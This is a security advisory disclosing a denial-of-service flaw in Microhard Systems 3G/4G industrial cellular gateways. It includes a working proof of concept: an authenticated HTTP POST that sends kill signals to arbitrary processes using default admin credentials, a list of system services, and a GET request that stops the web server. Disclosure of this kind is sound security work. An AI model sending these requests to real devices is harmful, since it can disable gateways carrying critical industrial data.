Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Service Control DoS Vendor: Microhard Systems Inc. Product web page: http://www.microhardcorp.com Affected version: IPn4G 1.1.0 build 1098 IPn3Gb 2.2.0 build 2160 IPn4Gb 1.1.6 build 1184-14 IPn4Gb 1.1.0 Rev 2 build 1090-2 IPn4Gb 1.1.0 Rev 2 build 1086 Bullet-3G 1.2.0 Rev A build 1032 VIP4Gb 1.1.6 build 1204 VIP4G 1.1.6 Rev 3.0 build 1184-14 VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196 IPn3Gii / Bullet-3G 1.2.0 build 1076 IPn4Gii / Bullet-LTE 1.2.0 build 1078 BulletPlus 1.3.0 build 1036 Dragon-LTE 1.1.0 build 1036 Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial RS232/485/422 devices! The IPn3Gb provides a fast, secure industrial strength wireless solution that uses the widespread deployment of cellular network infrastructure for critical data collection. From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers! The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It provides robust and secure wireless communication of Serial, USB and Ethernet data. The all new Bullet-3G provides a compact, robust, feature packed industrial strength wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things to the next level by providing features such as Ethernet with PoE, RS232 Serial port and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution worth looking at! The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight system integration and design flexibility with dual Ethernet Ports and high power 802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access Control Lists, the Dragon-LTE provides a solution for any cellular application! The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE network infrastructure for critical data communications. The VIP4Gb provides simultaneous network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network. It provides robust and secure wireless communication of Serial, Ethernet & WiFi data. Desc: There is an undocumented and hidden feature that allows an authenticated attacker to list running processes in the operating system and send arbitrary signals to kill any process running in the background including starting and stopping system services. This impacts availability and can be triggered also by CSRF attacks that requires device restart and/or factory reset to rollback malicious changes. Tested on: httpd-ssl-1.0.0 Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3) Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2018-5481 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5481.php 13.03.2018 -- POST /cgi-bin/webif/status-processes.sh HTTP/1.1 Host: 192.168.1.1 Connection: keep-alive Content-Length: 34 Cache-Control: max-age=0 Authorization: Basic YWRtaW46YWRtaW4= Origin: http://166.130.177.150 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://192.168.1.1/cgi-bin/webif/status-processes.sh Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: style=null signal=SIGILL&pid=1337&kill=+Send+ === Available services: # ls /etc/init.d/ boot dmesgbackup gpsgatetr ipsecfwadd mh_product quagga sysctl vlan checksync dnsmasq gpsr keepalive modbusd rcS systemmode vnstat coova-chilli done gpsrecorderd led msmscomd salertd telnet watchdog cron dropbear gred ledcon msshc sdpServer timezone webif crontab eurd httpd localmonitord network snmpd twatchdog webiffirewalllog custom-user-startup firewall ioports logtrigger ntpclient soip umount websockserverd datausemonitord force_reboot iperf lte ntrd soip2 updatedd wsClient defconfig ftpd ipsec lteshutdown nxl2tpd-wan soip2.getty usb xl2tpd dhcp_client gpsd ipsec_vpn media_ctrl pimd soipd1 vcad xl2tpd-wan Stop the HTTPd: GET http://192.168.1.1/cgi-bin/webif/system-services.sh?service=httpd&action=stop HTTP/1.1